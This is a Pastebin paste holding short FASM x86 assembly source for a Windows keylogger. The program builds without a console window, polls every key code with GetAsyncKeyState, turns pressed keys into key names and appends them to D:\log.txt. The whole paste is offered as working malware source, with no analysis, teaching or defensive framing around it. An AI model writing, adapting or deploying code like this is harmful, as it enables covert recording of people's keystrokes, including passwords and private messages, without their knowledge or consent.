Guest User

Untitled

a guest
Dec 28th, 2016
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ARM 1.23 KB | None | 0 0
  1. format PE GUI 5.0
  2. entry start
  3.  
  4. include 'D:\fasmw\INCLUDE\win32a.inc'
  5.  
  6. log db "D:\log.txt",0
  7. buffer db 0x100 dup (?)
  8. bytes_escritos dd 0
  9.  
  10.  
  11. start:
  12. mov esi,7
  13. invoke Sleep,1
  14. jmp gogo
  15.  
  16. gogo:
  17. cmp esi,255
  18. je start
  19.  
  20. inc esi
  21. invoke GetAsyncKeyState,esi
  22. cmp eax,0
  23. jnz logar
  24. jmp gogo
  25.  
  26. logar:
  27. invoke MapVirtualKey,esi,0
  28. shl eax,16
  29. invoke GetKeyNameText,eax,buffer,0x100
  30.  
  31.  
  32. invoke  CreateFile, log, GENERIC_WRITE, 0,  NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, NULL
  33. cmp eax,0
  34. je exit
  35.  
  36.  
  37.  
  38. mov ebx,eax
  39.  
  40. invoke SetFilePointer,ebx,0,0,FILE_END
  41.  
  42. invoke lstrlen,buffer
  43. invoke WriteFile,ebx,buffer,eax,bytes_escritos,NULL
  44. invoke Sleep,100
  45. invoke CloseHandle,ebx
  46. jmp gogo
  47.  
  48. exit:
  49.  
  50. invoke ExitProcess,0
  51.  
  52.  
  53.  
  54.  
  55. data import
  56.  
  57.   library kernel,'KERNEL32.DLL',\
  58.           user,'USER32.DLL'
  59.  
  60.   import kernel,\
  61.        Sleep,'Sleep',\
  62.        CreateFile,'CreateFileA',\
  63.        WriteFile,'WriteFile',\
  64.        SetFilePointer,'SetFilePointer',\
  65.        CloseHandle,'CloseHandle',\
  66.        lstrlen,'lstrlenA',\
  67.        ExitProcess,'ExitProcess'
  68.  
  69.   import user,\
  70.          GetAsyncKeyState, 'GetAsyncKeyState',\
  71.          MapVirtualKey,'MapVirtualKeyA',\
  72.          GetKeyNameText,'GetKeyNameTextA'
  73.  
  74. end data
Add Comment
Please, Sign In to add comment